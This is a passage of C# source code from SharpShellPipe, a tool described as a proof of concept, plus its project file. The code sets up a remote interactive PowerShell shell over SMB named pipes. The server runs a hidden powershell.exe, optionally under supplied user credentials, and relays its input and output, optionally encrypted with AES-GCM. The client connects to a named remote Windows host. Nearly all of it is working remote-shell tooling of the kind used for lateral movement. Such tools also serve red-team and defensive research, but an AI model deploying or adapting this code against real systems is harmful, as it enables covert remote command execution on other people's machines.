215 | ///
216 | /// This method reverses the encryption process. It requires the Encrypted Bundle to be supplied as a JSON string.
217 | /// If the decryption process and all its associated steps are successful, the method will return the
218 | /// decrypted plaintext, represented as a single character.
219 | ///
220 | ///
221 | ///
222 | ///
223 | public static byte[]? Decrypt(string encryptedData, string encryptionPassphrase)
224 | {
225 | EncryptedBundle? encryptedBundle = JsonSerializer.Deserialize(encryptedData);
226 | if (encryptedBundle == null)
227 | return null;
228 |
229 | (byte[] encryptionKey, _) = SetupEncryptionKey(encryptionPassphrase, encryptedBundle.Salt);
230 |
231 | byte[] plainText = new byte[encryptedBundle.Data.Length];
232 |
233 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-7.0?WT_mc_id=SEC-MVP-5005282
234 | using AesGcm aes = new(encryptionKey);
235 |
236 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm.decrypt?view=net-7.0?WT_mc_id=SEC-MVP-5005282
237 | aes.Decrypt(encryptedBundle.Nonce, encryptedBundle.Data, encryptedBundle.Tag, plainText);
238 |
239 | EncryptedPacket? encryptedPacket = JsonSerializer.Deserialize(plainText);
240 | if (encryptedPacket == null)
241 | return null;
242 |
243 | return encryptedPacket.Data;
244 | }
245 |
246 | ///
247 | /// Decrypt a single character from an encrypted data bundle.
248 | ///
249 | ///
250 | ///
251 | ///
252 | public static char DecryptChar(string encryptedData, string encryptionPassphrase)
253 | {
254 | byte[]? plainText = Decrypt(encryptedData, encryptionPassphrase);
255 | if (plainText == null)
256 | return '\0';
257 |
258 | return Encoding.UTF8.GetString(plainText)[0];
259 | }
260 |
261 | ///
262 | /// Decrypt String Wrapper
263 | ///
264 | ///
265 | ///
266 | ///
267 | public static string DecryptString(string encryptedData, string encryptionPassphrase)
268 | {
269 | byte[]? plainText = Decrypt(encryptedData, encryptionPassphrase);
270 | if (plainText == null)
271 | return String.Empty;
272 |
273 | return Encoding.UTF8.GetString(plainText);
274 | }
275 |
276 | ///
277 | /// This method sets up the shell server using two named pipes: one for receiving shell commands from the client,
278 | /// and another for sending shell 'stdout' content character by character. While other techniques exist that may
279 | /// be more or less optimized than sending stream output character by character, this Proof of Concept (PoC) has
280 | /// the advantage of being highly stable and easy to understand. You're welcome to optimize the mechanism according
281 | /// to your own preferences.
282 | ///
283 | public static void ShellPipeServer(string? encryptionPassphrase = null, string? userName = null, System.Security.SecureString? password = null, string? domain = null)
284 | {
285 | while (true)
286 | {
287 | // https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo?view=net-7.0?WT_mc_id=SEC-MVP-5005282
288 | ProcessStartInfo processStartInfo = new()
289 | {
290 | FileName = "powershell.exe",
291 | RedirectStandardInput = true,
292 | RedirectStandardOutput = true,
293 | RedirectStandardError = true,
294 | UseShellExecute = false,
295 | CreateNoWindow = true,
296 | };
297 |
298 | if (!string.IsNullOrEmpty(userName))
299 | {
300 | processStartInfo.WorkingDirectory = Environment.GetEnvironmentVariable("SystemRoot");
301 | processStartInfo.UserName = userName;
302 | processStartInfo.Password = password;
303 | processStartInfo.Domain = domain;
304 | }
305 |
306 | using Process shell = new() { StartInfo = processStartInfo };
307 |
308 | try
309 | {
310 | shell.Start();
311 | }
312 | catch (Exception e)
313 | {
314 | WriteVerbose(string.Format("Exception: \"{0}\"", e.Message), 'x');
315 |
316 | break;
317 | }
318 |
319 | // https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeserverstream?view=net-7.0?WT_mc_id=SEC-MVP-5005282
320 | using NamedPipeServerStream stdOutPipe = new(StdOutPipeName, PipeDirection.Out);
321 | using NamedPipeServerStream stdInPipe = new(StdInPipeName, PipeDirection.In);
322 |
323 | WriteVerbose("Waiting for peer...", '*');
324 |
325 | stdOutPipe.WaitForConnection();
326 | stdInPipe.WaitForConnection();
327 | ///
328 |
329 | WriteVerbose("Peer connected!", '+');
330 |
331 | Thread stdOutThread = new(() =>
332 | {
333 | try
334 | {
335 | using StreamWriter writer = new(stdOutPipe) { AutoFlush = true };
336 |
337 | int b;
338 | while ((b = shell.StandardOutput.Read()) != -1)
339 | {
340 | if (!String.IsNullOrEmpty(encryptionPassphrase))
341 | writer.WriteLine(Encrypt(BitConverter.GetBytes(b), encryptionPassphrase));
342 | else
343 | writer.Write((char)b);
344 | }
345 | }
346 | catch { }
347 | });
348 | stdOutThread.Start();
349 |
350 | Thread stdInThread = new(() =>
351 | {
352 | try
353 | {
354 | using StreamReader reader = new(stdInPipe);
355 | ///
356 |
357 | if (!String.IsNullOrEmpty(encryptionPassphrase))
358 | {
359 | string? encryptedData;
360 |
361 | while ((encryptedData = reader.ReadLine()) != null)
362 | shell.StandardInput.Write(DecryptString(encryptedData, encryptionPassphrase));
363 | }
364 | else
365 | {
366 | string? userInput;
367 | while ((userInput = reader.ReadLine()) != null)
368 | shell.StandardInput.WriteLine(userInput);
369 | }
370 | }
371 | catch { }
372 | });
373 | stdInThread.Start();
374 |
375 | while (true)
376 | {
377 | if (!stdOutPipe.IsConnected || !stdInPipe.IsConnected || shell.HasExited)
378 | break;
379 |
380 | ///
381 | Thread.Sleep(100);
382 | }
383 |
384 | if (!shell.HasExited)
385 | shell.Kill();
386 |
387 | ///
388 | stdOutThread.Join();
389 | stdInThread.Join();
390 |
391 | ///
392 | WriteVerbose("Peer disconnected!", '!');
393 | }
394 | }
395 |
396 | ///
397 | /// This method establishes a connection to the server using two expected client named pipes:
398 | /// one for receiving shell output and another for transmitting shell commands. Communication
399 | /// between the client and server is facilitated over Named Pipes using the
400 | /// Server Message Block (SMB) protocol.
401 | ///
402 | public static void ShellPipeClient(string? serverComputerName = null, string? encryptionPassphrase = null)
403 | {
404 | if (String.IsNullOrEmpty(serverComputerName))
405 | serverComputerName = ".";
406 | ///
407 |
408 | using NamedPipeClientStream pipeStdout = new(serverComputerName, StdOutPipeName, PipeDirection.In);
409 | using NamedPipeClientStream pipeStdin = new(serverComputerName, StdInPipeName, PipeDirection.Out);
410 |
411 | WriteVerbose(string.Format(
412 | "Establishing {0} connection to remote system...",
413 | String.IsNullOrEmpty(encryptionPassphrase) ? "an unsecure" : "a secure"
414 | ), '*');
415 |
416 | pipeStdout.Connect();
417 | pipeStdin.Connect();
418 |
419 | WriteVerbose("Successfully connected, spawning shell...", '+');
420 |
421 | int b;
422 | Thread stdOutThread = new(() =>
423 | {
424 | try
425 | {
426 | using StreamReader reader = new(pipeStdout);
427 | ///
428 |
429 | if (!String.IsNullOrEmpty(encryptionPassphrase))
430 | {
431 | string? encryptedData;
432 | char plainChar;
433 |
434 | while ((encryptedData = reader.ReadLine()) != null)
435 | {
436 | plainChar = DecryptChar(encryptedData, encryptionPassphrase);
437 | if (plainChar != '\0')
438 | Console.Write(plainChar);
439 | }
440 | }
441 | else
442 | {
443 | while ((b = reader.Read()) != -1)
444 | Console.Write((char)b);
445 | }
446 | }
447 | catch { }
448 | });
449 | stdOutThread.Start();
450 |
451 | using StreamWriter writer = new(pipeStdin) { AutoFlush = true };
452 |
453 | while (true)
454 | {
455 | if (!pipeStdout.IsConnected)
456 | break;
457 |
458 | string? cmd = Console.ReadLine();
459 | cmd = String.IsNullOrEmpty(cmd) ? "" : cmd.Trim();
460 |
461 | if (!pipeStdin.IsConnected || !pipeStdout.IsConnected)
462 | break;
463 |
464 | if (!String.IsNullOrEmpty(encryptionPassphrase))
465 | writer.WriteLine(Encrypt(Encoding.UTF8.GetBytes(cmd + '\n'), encryptionPassphrase));
466 | else
467 | writer.WriteLine(cmd);
468 |
469 | ///
470 | if (cmd.Equals("exit", StringComparison.OrdinalIgnoreCase))
471 | Thread.Sleep(500);
472 | }
473 |
474 | pipeStdout.Close();
475 |
476 | stdOutThread.Join();
477 |
478 | ///
479 | WriteVerbose("Session with remote host is now terminated.", '!');
480 | }
481 |
482 | ///
483 | /// Command-line options
484 | ///
485 | public class Options
486 | {
487 | [Option('p', "passphrase", Required = false, HelpText = "A passphrase is used to generate the encryption key that secures communications between the client and the server.")]
488 | public string? PassPhrase { get; set; }
489 |
490 | [Option('c', "client", Required = false, HelpText = "Use SharpShellPipe as the client to receive a remote interactive shell.")]
491 | public bool Client { get; set; }
492 |
493 | [Option('n', "name", Required = false, HelpText = "The Windows machine name where ShellPipeServer is running is required to connect to a remote named pipe. By default, it attempts to connect to the local machine (client mode only).")]
494 | public string? ServerName { get; set; }
495 |
496 | [Option("username", Required = false, HelpText = "An existing Microsoft Windows user account (server mode only).")]
497 | public string? Username { get; set; }
498 |
499 | [Option("password", Required = false, HelpText = "Password of specified user account (server mode only).")]
500 | public string? Password { get; set; }
501 |
502 | [Option("domain", Required = false, HelpText = "Specify the domain of the user account under which the new process is to be started (server mode only).")]
503 | public string? Domain { get; set; }
504 | }
505 |
506 | ///
507 | /// Program Entrypoint
508 | ///
509 | ///
510 | public static void Main(string[] args)
511 | {
512 | Parser.Default.ParseArguments(args)
513 | .WithParsed(o =>
514 | {
515 | if (o.Client)
516 | ShellPipeClient(o.ServerName, o.PassPhrase);
517 | else
518 | {
519 | System.Security.SecureString? securePassword = null;
520 |
521 | if (!string.IsNullOrEmpty(o.Password))
522 | securePassword = new NetworkCredential("", o.Password).SecurePassword;
523 |
524 | ShellPipeServer(
525 | encryptionPassphrase: o.PassPhrase, userName: o.Username,
526 | password: securePassword,
527 | domain: o.Domain
528 | );
529 | }
530 | });
531 | }
532 | }
--------------------------------------------------------------------------------
/SharpShellPipe/SharpShellPipe.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net6.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------